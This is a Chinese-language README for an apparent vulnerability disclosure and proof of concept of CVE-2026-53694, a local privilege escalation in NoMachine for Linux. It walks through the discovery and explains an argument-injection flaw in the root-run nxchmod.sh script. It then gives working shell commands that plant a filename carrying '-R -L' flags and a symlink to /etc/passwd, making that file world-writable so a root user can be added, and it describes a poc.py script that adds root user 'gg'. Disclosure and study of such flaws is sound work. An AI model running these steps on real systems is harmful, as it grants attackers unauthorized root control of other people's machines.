本仓库包含 CVE-2026-53694 的分析报告与概念验证(PoC),这是 NoMachine for Linux 中的一个本地权限提升(LPE)漏洞。
由于 nxchmod.sh 脚本中对参数分隔符的不当中和,本地非特权用户可以向以 root 身份执行的系统命令注入参数。通过将这种参数注入与符号链接结合,攻击者可以覆盖关键系统文件(如 /etc/passwd)并将其权限提升至 root。
该漏洞已由厂商完全修复。
发现这个漏洞的过程充满了尝试、失败以及深夜的顿悟。以下是发现过程的展开:
/usr/NX/scripts/restricted/nxchmod.sh 脚本会被 root 用户定期执行,用于管理特定目录中的权限。chmod a+rw。我想:如果我控制目标路径,能否利用符号链接使 /etc/passwd 变为可写? 我测试了一个标准符号链接(ln -s /etc/passwd /tmp/asdf),但失败了。像 /tmp 这类目录上的 Linux 粘滞位(sticky bit)会阻止 root 用户盲目跟随其他用户创建的符号链接。${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。脚本将字面文件名直接传递给 chmod。X1234 -R -L 的文件。当脚本运行时,chmod 命令将其展开为多个参数,而不是单个文件路径。-L(跟随符号链接)和 -R(递归)标志注入到 chmod 命令中,我迫使 chmod 二进制文件本身去解析并跟随我在目录中创建的符号链接,从而完全绕过了粘滞位保护。/etc/passwd 变为可写(a+rw),我就可以简单地向文件中追加一个新的 root 用户,并通过 su 切换到该用户。该漏洞源于 NoMachine 处理 X11/Wayland 套接字权限的方式。脚本 nxchmod.sh 由以 root 身份运行的 nxserver.bin 守护进程启动。
存在漏洞的执行代码如下所示:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
如果攻击者创建一个目录结构以及一个名为 X1234 -R -L 的文件,那么由 root 执行的最终命令将变为:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
当指向 /etc/passwd 的符号链接被放置在 X1234 目录内时,注入的 -R 和 -L 参数会迫使 chmod 递归地跟随该符号链接,并授予目标文件全局读写权限。
要使此漏洞利用生效,目标系统必须满足以下条件:
你可以使用 shell 命令手动复现此漏洞,也可以使用提供的 Python 脚本自动复现。
导航到 /tmp/.X11-unix/ 并执行以下命令以创建恶意目录结构。
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
一旦你验证了漏洞并提升了权限,请运行以下清理命令以恢复系统稳定性并移除残留物:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
poc.py 中提供了完整的自动化漏洞利用脚本。该脚本会验证 Wayland 要求、设置符号链接、等待 nxchmod.sh 执行周期,并向 /etc/passwd 中注入一个新的 root 用户(gg)。
要运行该漏洞利用脚本:
python3 poc.py
该漏洞已由 NoMachine 修复。用户应更新至以下版本或更高版本: